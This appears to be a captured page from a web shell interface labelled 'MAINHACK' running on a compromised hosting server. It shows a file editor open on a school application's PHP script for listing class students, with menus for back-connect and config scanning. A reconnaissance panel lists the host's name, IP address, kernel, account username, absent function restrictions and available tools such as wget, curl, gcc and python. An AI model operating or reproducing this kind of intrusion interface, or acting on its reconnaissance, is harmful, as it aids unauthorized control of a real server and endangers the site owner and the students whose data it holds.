[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: get_class_students.php
<?php require_once '../config/database.php'; if (isset($_POST['class_id'])) { $class_id = $_POST['class_id']; $teacher_id = getUserId(); // Get class info and students $class_stmt = $pdo->prepare(" SELECT cl.class_name, cl.gender_type, g.name as grade_name FROM class_lists cl JOIN grades g ON cl.grade_id = g.id WHERE cl.id = ? AND cl.teacher_id = ? "); $class_stmt->execute([$class_id, $teacher_id]); $class_info = $class_stmt->fetch(); if (!$class_info) { echo json_encode(['success' => false, 'message' => 'الفصل غير موجود']); exit; } // Get students $students_stmt = $pdo->prepare(" SELECT student_name FROM student_lists WHERE class_id = ? ORDER BY student_name "); $students_stmt->execute([$class_id]); $students = $students_stmt->fetchAll(PDO::FETCH_COLUMN); $html = '<div class="mb-3">'; $html .= '<h6>' . sanitize($class_info['class_name']) . ' - ' . sanitize($class_info['grade_name']) . '</h6>'; $html .= '<p class="text-muted">نوع الفصل: ' . ($class_info['gender_type'] == 'mixed' ? 'مختلط' : ($class_info['gender_type'] == 'boys' ? 'بنين' : 'بنات')) . '</p>'; $html .= '</div>'; if (empty($students)) { $html .= '<div class="alert alert-info">لا توجد أسماء طلاب في هذا الفصل</div>'; } else { $html .= '<div class="row">'; foreach ($students as $index => $student) { $html .= '<div class="col-md-6 col-lg-4 mb-2">'; $html .= '<div class="d-flex align-items-center">'; $html .= '<span class="badge bg-primary me-2">' . ($index + 1) . '</span>'; $html .= '<span>' . sanitize($student) . '</span>'; $html .= '</div>'; $html .= '</div>'; } $html .= '</div>'; $html .= '<div class="mt-3"><strong>إجمالي الطلاب: ' . count($students) . '</strong></div>'; } echo json_encode(['success' => true, 'html' => $html]); } else { echo json_encode(['success' => false, 'message' => 'معرف الفصل مطلوب']); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285